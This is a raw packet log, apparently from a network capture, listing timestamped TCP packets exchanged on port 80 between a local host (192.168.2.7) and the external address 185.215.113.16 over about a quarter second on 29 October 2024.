Oct 29, 2024 18:00:22.627052069 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.627074003 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.627082109 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.627082109 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.627082109 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.627096891 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.627113104 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.627127886 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.627131939 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.627131939 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.627142906 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.627157927 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.627171040 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.627185106 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.627199888 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.627214909 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.627358913 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.627358913 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.627358913 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.627358913 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.627501965 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.627599001 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.627614021 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.627628088 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.627643108 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.627656937 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.627657890 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.627672911 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.627736092 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.627736092 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.627758026 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.627773046 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.627785921 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.627801895 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.627815962 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.627819061 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.627819061 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.627831936 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.627854109 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.627868891 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.627882957 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.627897024 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.627911091 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.627918959 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.627918959 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.627918959 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.627927065 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.627942085 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.627950907 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.627958059 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.627974033 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.628005028 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.628014088 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.628036976 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.628037930 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.628051996 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.628073931 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.628082991 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.628088951 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.628104925 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.628119946 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.628134012 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.628149033 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.628154039 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.628154039 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.628170967 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.628180981 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.628187895 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.628201962 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.628217936 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.628226995 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.628232956 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.628256083 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.628257990 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.628271103 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.628271103 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.628288031 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.628302097 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.628318071 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.628333092 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.628356934 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.628361940 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.628361940 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.628376961 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.628391981 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.628400087 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.628407001 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.628422976 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.628436089 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.628439903 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.628444910 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.628453016 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.628462076 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.628478050 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.628495932 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.628535032 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.628540039 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.628551006 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.628619909 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.628626108 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.628640890 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.628654957 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.628670931 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.628685951 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.628712893 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.628712893 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.628712893 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.628712893 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.628746033 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.628748894 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.628854036 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.635159016 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.745317936 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.745367050 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.745421886 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.745445967 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.745471001 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.745496988 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.745544910 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.745570898 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.745594025 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.745609999 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.745625019 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.745639086 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.745652914 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.745666981 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.745667934 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.745667934 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.745667934 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.745683908 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.745699883 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.745716095 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.745728970 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.745729923 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.745759010 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.745845079 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.745879889 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.745902061 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.745915890 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.745929956 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.745943069 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.745945930 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.746031046 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.746081114 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.746095896 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.746596098 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.746596098 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.746596098 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.747498035 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.747576952 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.747591972 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.747621059 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.747633934 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.747634888 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.747652054 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.747665882 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.747680902 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.747684956 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.747684956 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.747719049 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.747739077 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.747754097 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.747765064 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.747765064 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.747769117 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.747785091 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.747792959 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.747801065 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.747828960 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.747843027 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.747855902 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.747858047 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.747873068 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.747883081 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.747888088 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.747903109 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.747909069 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.747935057 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.747956991 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.747967005 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.747971058 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.747987032 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.748003006 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.748008013 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.748009920 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.748030901 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.748047113 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.748060942 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.748084068 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.748096943 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.748096943 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.748096943 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.748104095 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.748117924 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.748132944 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.748136044 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.748152018 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.748166084 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.748179913 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.748195887 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.748239040 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.748241901 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.748241901 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.748241901 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.748255014 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.748327971 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.748341084 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.748354912 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.748369932 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.748373032 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.748414040 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.748414040 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.748478889 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.748492956 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.748507023 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.748522043 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.748536110 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.748549938 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.748560905 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.748560905 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.748564959 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.748580933 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.748590946 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.748596907 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.748617887 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.748632908 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.748636961 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.748647928 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.748667002 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.748718023 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.748730898 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.748815060 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.748866081 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.748904943 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.748919964 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.748939991 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.748939991 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.748986006 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.749001980 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.749023914 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.749043941 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.749059916 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.749073982 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.749077082 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.749077082 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.749089003 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.749104023 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.749104977 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.749119043 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.749135017 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.749150038 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.749207973 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.749207973 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.749207973 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.749280930 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.867219925 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.867252111 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.867265940 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.867280960 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.867295980 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.867325068 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.867325068 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.867330074 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.867348909 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.867363930 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.867379904 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.867394924 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.867394924 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.867410898 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.867428064 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.867438078 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.867443085 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.867465973 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.867480040 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.867496014 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.867510080 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.867515087 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.867527008 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.867542982 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.867553949 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.867553949 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.867605925 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.867618084 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.867633104 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.867647886 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.867662907 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.867711067 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.867753029 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.867753029 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.867906094 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.867922068 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.867973089 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.867990017 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.868002892 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.868004084 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.868020058 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.868036032 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.868055105 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.868104935 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.868122101 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.868144989 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.868160009 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.868174076 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.868182898 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.868190050 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.868207932 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.868223906 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.868240118 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.868247986 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.868247986 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.868256092 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.868271112 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.868294954 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.868299007 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.868319988 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.868321896 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.868338108 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.868351936 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.868371964 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.868376017 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.868391991 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.868401051 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.868406057 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.868421078 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.868438005 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.868453026 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.868465900 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.868469000 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.868484020 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.868489027 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.868499994 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.868515968 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.868530035 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.868550062 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.868550062 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.868551970 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.868567944 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.868582010 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.868594885 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.868596077 CET	80	49977	185.215.113.16	192.168.2.7
